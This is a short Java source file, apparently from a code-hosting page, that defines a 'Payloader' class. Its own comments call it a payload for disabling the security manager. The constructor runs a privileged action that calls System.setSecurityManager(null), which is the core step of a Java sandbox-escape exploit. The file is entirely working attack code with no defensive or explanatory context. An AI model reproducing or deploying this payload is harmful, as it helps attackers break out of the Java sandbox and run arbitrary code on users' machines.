39 lines
753 B
Java
39 lines
753 B
Java
|
import java.io.Serializable;
|
||
|
import java.security.AccessController;
|
||
|
import java.security.PrivilegedActionException;
|
||
|
import java.security.PrivilegedExceptionAction;
|
||
|
|
||
|
/**
|
||
|
* This class contains the payload. The payload is just the code for disable the
|
||
|
* security manager ;-)
|
||
|
*
|
||
|
* @author mka
|
||
|
*
|
||
|
*/
|
||
|
public class Payloader implements PrivilegedExceptionAction, Serializable {
|
||
|
|
||
|
/**
|
||
|
*
|
||
|
*/
|
||
|
private static final long serialVersionUID = 635880182647064891L;
|
||
|
|
||
|
public Payloader() {
|
||
|
try {
|
||
|
AccessController.doPrivileged(this);
|
||
|
} catch (PrivilegedActionException e) {
|
||
|
e.printStackTrace();
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
@Override
|
||
|
public Object run() throws Exception {
|
||
|
|
||
|
// disable the security manager ;-)
|
||
|
System.setSecurityManager(null);
|
||
|
|
||
|
return null;
|
||
|
}
|
||
|
|
||
|
}
|